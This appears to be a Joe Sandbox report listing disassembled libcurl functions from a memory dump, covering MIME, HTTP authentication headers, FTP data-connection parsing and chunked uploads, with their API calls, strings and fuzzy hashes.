Opcode Fuzzy Hash: 57b62015b3da2a9492dd9b129731ce53d0c4faadc05a2fbbb7698151238e12e4
Instruction Fuzzy Hash: B87139A2E0420467D7130A755D42B9B3BA8DF9275EF1441E4FC486A3C3FB2E9A1582A3

Function 6B6E2B70 Relevance: 33.5, APIs: 2, Strings: 17, Instructions: 282COMMON

Download Yara Rule

APIs

curl_slist_free_all.LIBCURL(?,00000000,?,?,multipart/form-data), ref: 6B6E2B8F
curl_strequal.LIBCURL(?,attachment,?,?,?,multipart/form-data), ref: 6B6E2CCC

Strings

multipart/, xrefs: 6B6E2CA8
form-data, xrefs: 6B6E2E6E, 6B6E2E83
multipart/form-data, xrefs: 6B6E2E5B
Content-Type, xrefs: 6B6E2BBA
text/plain, xrefs: 6B6E2C4F
Content-Type: %s%s%s, xrefs: 6B6E2DC5
application/octet-stream, xrefs: 6B6E2C20
Content-Disposition, xrefs: 6B6E2C6D
multipart/mixed, xrefs: 6B6E2BF4
; name=", xrefs: 6B6E2D68, 6B6E2D70
8bit, xrefs: 6B6E2E10, 6B6E2E15
; filename=", xrefs: 6B6E2D53, 6B6E2D5D
attachment, xrefs: 6B6E2CBE, 6B6E2CC6, 6B6E2CCB
Content-Disposition: %s%s%s%s%s%s%s, xrefs: 6B6E2D77
Content-Transfer-Encoding, xrefs: 6B6E2DDD
; boundary=, xrefs: 6B6E2DB8, 6B6E2DC0
Content-Transfer-Encoding: %s, xrefs: 6B6E2E19

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_slist_free_allcurl_strequal
String ID: 8bit$; boundary=$; filename="$; name="$Content-Disposition$Content-Disposition: %s%s%s%s%s%s%s$Content-Transfer-Encoding$Content-Transfer-Encoding: %s$Content-Type$Content-Type: %s%s%s$application/octet-stream$attachment$form-data$multipart/$multipart/form-data$multipart/mixed$text/plain
API String ID: 3213019040-1595554923
Opcode ID: 74e373a76c39cf70e9f2cf1796d8c1a6cdf2a159afba9490d91f8afafd8889e7
Instruction ID: f5de4fc86aa92ba6125ab3e89ad13a47d2a555bf25a7a816d55627d5f6b6569f
Opcode Fuzzy Hash: 74e373a76c39cf70e9f2cf1796d8c1a6cdf2a159afba9490d91f8afafd8889e7
Instruction Fuzzy Hash: 3091E3F1A0AB039BDB118E29CE8165777FBAF84758B00487DE9459B610E77CE9068B60

Function 6B6DAA80 Relevance: 33.5, APIs: 10, Strings: 9, Instructions: 269COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6DAB26
___from_strstr_to_strchr.LIBCMT ref: 6B6DAB3C
curl_strnequal.LIBCURL(Host:,00000000,00000005), ref: 6B6DAC1A
curl_strnequal.LIBCURL(Content-Type:,00000000,0000000D), ref: 6B6DAC3E
curl_strnequal.LIBCURL(Content-Type:,00000000,0000000D), ref: 6B6DAC62
curl_strnequal.LIBCURL(Content-Length:,00000000,0000000F), ref: 6B6DAC86
curl_strnequal.LIBCURL(Connection:,00000000,0000000B), ref: 6B6DACAA
curl_strnequal.LIBCURL(Transfer-Encoding:,00000000,00000012), ref: 6B6DACCE
curl_strnequal.LIBCURL(Authorization:,00000000,0000000E), ref: 6B6DACE2
curl_strnequal.LIBCURL(Cookie:,00000000,00000007,?,?,?,?,?,?,6B6DE55E), ref: 6B6DACF6

Strings

^mk, xrefs: 6B6DAD3D, 6B6DAD96
Host:, xrefs: 6B6DAC15
Content-Type:, xrefs: 6B6DAC39, 6B6DAC5D
Content-Length:, xrefs: 6B6DAC81
Transfer-Encoding:, xrefs: 6B6DACC9
%s, xrefs: 6B6DAD38
Connection:, xrefs: 6B6DACA5
Cookie:, xrefs: 6B6DACF1
Authorization:, xrefs: 6B6DACDD

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_strnequal$___from_strstr_to_strchr
String ID: %s$Authorization:$Connection:$Content-Length:$Content-Type:$Cookie:$Host:$Transfer-Encoding:$^mk
API String ID: 431725195-1466906702
Opcode ID: e5cb89bf1b74a4e10ab1bc81075281ccdf689a179895e172b6a26c8465a489e5
Instruction ID: fc7ba2dadbec0029ff69b9d7ee4f31f2c045188a68b489011da4448a887bb241
Opcode Fuzzy Hash: e5cb89bf1b74a4e10ab1bc81075281ccdf689a179895e172b6a26c8465a489e5
Instruction Fuzzy Hash: 91913AF1D0D2056FEB118F64DA04B963BB69F01358F0841F4EE589B242E77EDA52CB91

Function 6B6ED510 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 350COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED566
curl_mfprintf.LIBCURL(89000005,** Resuming transfer from byte position %I64d,00051C86,BF830000,83C70000,00000620,000F4240,00000000,868D0000,6B6D1696,?), ref: 6B6ED59D
curl_mfprintf.LIBCURL(89000005, %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed,83C70000,00000620,000F4240,00000000,868D0000,6B6D1696,?), ref: 6B6ED5B0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED5FF
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED623
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED636
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED677
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED6D5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED702
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED715
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED76F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED891
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED8A1
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6ED8C7
curl_mfprintf.LIBCURL(89000005,%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s,?,?,00000000,?,?,00000000,?,?,00000000,?,?,00000000), ref: 6B6ED9A1

Strings

%3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s, xrefs: 6B6ED996
%% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed, xrefs: 6B6ED5A5
** Resuming transfer from byte position %I64d, xrefs: 6B6ED592

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$curl_mfprintf
String ID: %3I64d %s %3I64d %s %3I64d %s %s %s %s %s %s %s$ %% Total %% Received %% Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed$** Resuming transfer from byte position %I64d
API String ID: 2030109004-664487449
Opcode ID: db3f113b70da083b765a50fc806a447d35dc14095701659600f55c3ffc8dd59d
Instruction ID: bb7f79e587f0cdd1d49d448b22a8ea265cd5d91b23e6efc951bb48ca551e3b89
Opcode Fuzzy Hash: db3f113b70da083b765a50fc806a447d35dc14095701659600f55c3ffc8dd59d
Instruction Fuzzy Hash: EAE14CB5945708AFEB209FB4CD40F9ABBFABF89308F004459E95DA7251DB356942CF20

Function 6B6DCF60 Relevance: 31.7, APIs: 3, Strings: 15, Instructions: 245COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(Authorization: Bearer %s,?,?,?,?,?,?,?,?,?), ref: 6B6DCFF2
curl_maprintf.LIBCURL(%s:%s,?,6B72B98E,?,00000000), ref: 6B6DD106
curl_maprintf.LIBCURL(%sAuthorization: Basic %s,Proxy-,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6B6DD180

Part of subcall function 6B6E48E0: curl_mvaprintf.LIBCURL(?,?,?,6B6C66CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6B6E48EA

Strings

%s auth using %s with user '%s', xrefs: 6B6DD20A
NTLM, xrefs: 6B6DD02B
Proxy-authorization, xrefs: 6B6DD078
Proxy-, xrefs: 6B6DD172, 6B6DD17A
Authorization, xrefs: 6B6DD0A3
Authorization: Bearer %s, xrefs: 6B6DCFED
%sAuthorization: Basic %s, xrefs: 6B6DD17B
Digest, xrefs: 6B6DD03D
Negotiate, xrefs: 6B6DCF97
%s:%s, xrefs: 6B6DD101
Server, xrefs: 6B6DD1FB
Bearer, xrefs: 6B6DD1CC
Proxy, xrefs: 6B6DD200, 6B6DD209
Basic, xrefs: 6B6DD0C1
Authorization:, xrefs: 6B6DCFC1

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_maprintf$curl_mvaprintf
String ID: %s auth using %s with user '%s'$%s:%s$%sAuthorization: Basic %s$Authorization$Authorization:$Authorization: Bearer %s$Basic$Bearer$Digest$NTLM$Negotiate$Proxy$Proxy-$Proxy-authorization$Server
API String ID: 3491783128-3980008082
Opcode ID: 41f5005bcb8de46792e1601edc9b846f7e0bdc4975c1d72d185c4e1dc25c4f0c
Instruction ID: 8342c095e40542ffc9cf4941255a3cb3eb1060aafce37592d989218fe20e574f
Opcode Fuzzy Hash: 41f5005bcb8de46792e1601edc9b846f7e0bdc4975c1d72d185c4e1dc25c4f0c
Instruction Fuzzy Hash: B181D5B1A84119AFDB00AF68DD41BEAB7B8EF45355F0480A6FC089B201D73ADD51CBE5

Function 6B6CDE80 Relevance: 23.1, APIs: 2, Strings: 11, Instructions: 375COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6CDEE5
curl_maprintf.LIBCURL(%u.%u.%u.%u,00000000,00000000,00000000,00000000), ref: 6B6CE134

Part of subcall function 6B6E48E0: curl_mvaprintf.LIBCURL(?,?,?,6B6C66CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6B6E48EA

Part of subcall function 6B6D84A0: inet_pton.WS2_32(00000002,00000000,?), ref: 6B6D8590
Part of subcall function 6B6D84A0: inet_pton.WS2_32(00000017,00000000,?), ref: 6B6D85C0

Part of subcall function 6B6C2A60: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6C2BA0

Strings

Bad PASV/EPSV response: %03d, xrefs: 6B6CE3A3
Skip %u.%u.%u.%u for data connection, re-use %s instead, xrefs: 6B6CE10E
%c%c%c%u%c, xrefs: 6B6CDF1B
Illegal port number in EPSV reply, xrefs: 6B6CDF60
%u,%u,%u,%u,%u,%u, xrefs: 6B6CE06A
Can't resolve proxy host %s:%hu, xrefs: 6B6CE1DD
Couldn't interpret the 227-response, xrefs: 6B6CE083
Weirdly formatted EPSV reply, xrefs: 6B6CDFCA
%u.%u.%u.%u, xrefs: 6B6CE12F
Connecting to %s (%s) port %d, xrefs: 6B6CE304
Can't resolve new host %s:%hu, xrefs: 6B6CE257

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: inet_pton$Unothrow_t@std@@@___from_strstr_to_strchr__ehfuncinfo$??2@curl_maprintfcurl_mvaprintf
String ID: %c%c%c%u%c$%u,%u,%u,%u,%u,%u$%u.%u.%u.%u$Bad PASV/EPSV response: %03d$Can't resolve new host %s:%hu$Can't resolve proxy host %s:%hu$Connecting to %s (%s) port %d$Couldn't interpret the 227-response$Illegal port number in EPSV reply$Skip %u.%u.%u.%u for data connection, re-use %s instead$Weirdly formatted EPSV reply
API String ID: 1323756762-2414412286
Opcode ID: 8edb4c218f032cfd76fb9cc2ca34a54b9462158e2c197e5db2f3a8ac02b2ccc6
Instruction ID: 9b476dc9360a4297d85fbd4345057c6bfa2be9f0615985fb6080ad1090db44f5
Opcode Fuzzy Hash: 8edb4c218f032cfd76fb9cc2ca34a54b9462158e2c197e5db2f3a8ac02b2ccc6
Instruction Fuzzy Hash: 31D1E8F1E00119ABDB249F64CD42BEBB7B8FF05315F0001E6E91D96141D73DAAA48BE6

Function 6B6DB5C0 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Negotiate,?,00000009,00000000,?,?,?,00000000), ref: 6B6DB61C
curl_strnequal.LIBCURL(NTLM,?,00000004,00000000,?,?,?,00000000), ref: 6B6DB6A0
curl_strnequal.LIBCURL(Digest,?,00000006,?,?,?,00000000,?,?,?,00000000), ref: 6B6DB704
curl_strnequal.LIBCURL(Basic,?,00000005,?,?,?,?,?,?,00000000,?,?,?,00000000), ref: 6B6DB75D

Part of subcall function 6B6F06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
Part of subcall function 6B6F06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

Strings

Authentication problem. Ignoring this., xrefs: 6B6DB7A4
Digest, xrefs: 6B6DB6FF
Negotiate, xrefs: 6B6DB617
NTLM, xrefs: 6B6DB69B
Bearer, xrefs: 6B6DB77C
t!, xrefs: 6B6DB747
Basic, xrefs: 6B6DB758
Ignoring duplicate digest auth header., xrefs: 6B6DB716

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_strnequal$curl_msnprintfcurl_mvsnprintf
String ID: Authentication problem. Ignoring this.$Basic$Bearer$Digest$Ignoring duplicate digest auth header.$NTLM$Negotiate$t!
API String ID: 4236074386-280430007
Opcode ID: c8096b9e5d99eeb61ee63aca6b54e8228c6aa30130b25ab1eccf778e090fa84c
Instruction ID: 33ce46a4e2062f0b9dabf5a3fb96dfe9c8cd31cc583fb3e54eb72bf5b2d75bab
Opcode Fuzzy Hash: c8096b9e5d99eeb61ee63aca6b54e8228c6aa30130b25ab1eccf778e090fa84c
Instruction Fuzzy Hash: 28615CF4A04205ABEB008E75DD42B867FE5EF02348F1C80B5ECA98B146E73ED555CBA5

Function 6B725193 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6B7251CC

Part of subcall function 6B71F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0), ref: 6B71F800
Part of subcall function 6B71F7EA: GetLastError.KERNEL32(6B7438A0,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0,6B7438A0), ref: 6B71F812

Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725D6C
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725D7E
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725D90
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725DA2
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725DB4
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725DC6
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725DD8
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725DEA
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725DFC
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725E0E
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725E20
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725E32
Part of subcall function 6B725D4F: _free.LIBCMT ref: 6B725E44

_free.LIBCMT ref: 6B7251EE
_free.LIBCMT ref: 6B725203
_free.LIBCMT ref: 6B72520E
_free.LIBCMT ref: 6B725230
_free.LIBCMT ref: 6B725243
_free.LIBCMT ref: 6B725251
_free.LIBCMT ref: 6B72525C
_free.LIBCMT ref: 6B725294
_free.LIBCMT ref: 6B72529B
_free.LIBCMT ref: 6B7252B8
_free.LIBCMT ref: 6B7252D0

Strings

0+tk, xrefs: 6B7251A9

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: 0+tk
API String ID: 776569668-1950648990
Opcode ID: 13910025d95651ce11ef8b717217722e1949e0d252790c558f1c6dc48ce4233b
Instruction ID: 8d1b2b85e80805f26ad5a6811ec0a281e8239c2ef68a84381a699a2fd23cbaf9
Opcode Fuzzy Hash: 13910025d95651ce11ef8b717217722e1949e0d252790c558f1c6dc48ce4233b
Instruction Fuzzy Hash: 79313D716083019FEB11AA75EA49B5E73E9FF00314F5448AAF559EB195DF38E940CB30

Function 6B6FE810 Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 288COMMON

Download Yara Rule

APIs

Part of subcall function 6B6F06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
Part of subcall function 6B6F06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

curl_slist_free_all.LIBCURL(00000000,?,?,?,?,?,?,?,?,?,Moving trailers state machine from initialized to sending.,?,?,?), ref: 6B6FE994

Part of subcall function 6B6DB530: ___from_strstr_to_strchr.LIBCMT ref: 6B6DB55B

curl_slist_free_all.LIBCURL(00000000,?,Successfully compiled trailers.,?,?,?,?,?,?,?,?,?,Moving trailers state machine from initialized to sending.,?,?,?), ref: 6B6FE8CD
curl_msnprintf.LIBCURL(?,0000000B,%zx%s,?,6B72BF70), ref: 6B6FEAC6

Part of subcall function 6B6F05D0: curl_mvsnprintf.LIBCURL(?,00000100,6B6EC830,?), ref: 6B6F0610

Strings

Signaling end of chunked upload after trailers., xrefs: 6B6FEBBE
read function returned funny value, xrefs: 6B6FEA35
operation aborted by callback, xrefs: 6B6FE945
Successfully compiled trailers., xrefs: 6B6FE8BF
Signaling end of chunked upload via terminating chunk., xrefs: 6B6FEB1B
Read callback asked for PAUSE when not supported!, xrefs: 6B6FE9DC
%zx%s, xrefs: 6B6FEAA9
Moving trailers state machine from initialized to sending., xrefs: 6B6FE842
operation aborted by trailing headers callback, xrefs: 6B6FE96F

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_msnprintfcurl_mvsnprintfcurl_slist_free_all$___from_strstr_to_strchr
String ID: %zx%s$Moving trailers state machine from initialized to sending.$Read callback asked for PAUSE when not supported!$Signaling end of chunked upload after trailers.$Signaling end of chunked upload via terminating chunk.$Successfully compiled trailers.$operation aborted by callback$operation aborted by trailing headers callback$read function returned funny value
API String ID: 2651734479-586909597
Opcode ID: 15b5f75adae323d47655727904edebe06619b777ec2944eae5018b1d6dc850e1
Instruction ID: 5ec24b1a15113c08fe1dc6715742f985755d5435214dab81c5911d016e519dec
Opcode Fuzzy Hash: 15b5f75adae323d47655727904edebe06619b777ec2944eae5018b1d6dc850e1
Instruction Fuzzy Hash: 5CA118B1E04205ABD704CF78DD867EEFBB9FF05314F00016AE918A7241DBB925958BE5

Function 6B6CB160 Relevance: 21.3, APIs: 14, Instructions: 267COMMON

Download Yara Rule

APIs

Part of subcall function 6B6E27F0: curl_slist_free_all.LIBCURL(?,?), ref: 6B6E2801
Part of subcall function 6B6E27F0: curl_slist_free_all.LIBCURL(?), ref: 6B6E2812

curl_mime_init.LIBCURL(?), ref: 6B6CB187

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_slist_free_all$curl_mime_init
String ID:
API String ID: 2112604817-0
Opcode ID: a88f9dcfef39ff9364b0d8e19b579247a46f3ed52b70fa7909d89819ecf8c82a
Instruction ID: 609fc19877e9ead87d7f5812058a829b777d767c9ee2c97e5721692f23df01fd
Opcode Fuzzy Hash: a88f9dcfef39ff9364b0d8e19b579247a46f3ed52b70fa7909d89819ecf8c82a
Instruction Fuzzy Hash: D58116F2E496196BDB118E749C41BAB77A9FF04324F0D02A4EC08AB351E72DDD1587E2

Function 6B6CBF20 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 383COMMON

Download Yara Rule

APIs

curl_easy_strerror.LIBCURL(00000000), ref: 6B6CC103

Strings

partial download completed, closing connection, xrefs: 6B6CC25B
Received only partial file: %I64d bytes, xrefs: 6B6CC417
Remembering we are in dir "%s", xrefs: 6B6CC082
Exceeded storage allocation, xrefs: 6B6CC2B3
Uploaded unaligned file size (%I64d out of %I64d bytes), xrefs: 6B6CC382
server did not report OK, got %d, xrefs: 6B6CC29E
Failure sending ABOR command: %s, xrefs: 6B6CC109
ABOR, xrefs: 6B6CC0E6
control connection looks dead, xrefs: 6B6CC20D
No data was received!, xrefs: 6B6CC3FD

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_easy_strerror
String ID: ABOR$Exceeded storage allocation$Failure sending ABOR command: %s$No data was received!$Received only partial file: %I64d bytes$Remembering we are in dir "%s"$Uploaded unaligned file size (%I64d out of %I64d bytes)$control connection looks dead$partial download completed, closing connection$server did not report OK, got %d
API String ID: 1399792982-944385548
Opcode ID: 5d4d9abe4c6b7a3d533ef39aa8259b8a0b34df525ab9a1a7a67d9c0112e99e71
Instruction ID: 0328b1e6326bbd5512f31284260a2f6341376b5db5cb92c0c9e85d3c4e7a325f
Opcode Fuzzy Hash: 5d4d9abe4c6b7a3d533ef39aa8259b8a0b34df525ab9a1a7a67d9c0112e99e71
Instruction Fuzzy Hash: CCE1EFF19042449BEB11CF68C884B9B3BA5EF46314F1845E9EC5E9B282D73D9580CBA2

Function 6B725D4F Relevance: 19.6, APIs: 13, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6B725D6C

Part of subcall function 6B71F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0), ref: 6B71F800
Part of subcall function 6B71F7EA: GetLastError.KERNEL32(6B7438A0,?,6B725EE0,6B7438A0,00000000,6B7438A0,00000000,?,6B725F07,6B7438A0,00000007,6B7438A0,?,6B72532A,6B7438A0,6B7438A0), ref: 6B71F812

_free.LIBCMT ref: 6B725D7E
_free.LIBCMT ref: 6B725D90
_free.LIBCMT ref: 6B725DA2
_free.LIBCMT ref: 6B725DB4
_free.LIBCMT ref: 6B725DC6
_free.LIBCMT ref: 6B725DD8
_free.LIBCMT ref: 6B725DEA
_free.LIBCMT ref: 6B725DFC
_free.LIBCMT ref: 6B725E0E
_free.LIBCMT ref: 6B725E20
_free.LIBCMT ref: 6B725E32
_free.LIBCMT ref: 6B725E44

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d6f6521d2478c0c5de8c77a867bf66b78e53d88e6d2cf8f268a1b18c22cca338
Instruction ID: dcd120c6d182f2d577ab5bf9f2236e12ce8fe9c6d3c0d9284ae8c497c468e10f
Opcode Fuzzy Hash: d6f6521d2478c0c5de8c77a867bf66b78e53d88e6d2cf8f268a1b18c22cca338
Instruction Fuzzy Hash: 6D215731508604DBCB14FE78E2DAD1F73F9BA043153A00C6AF569EB549DB78F8908AB4

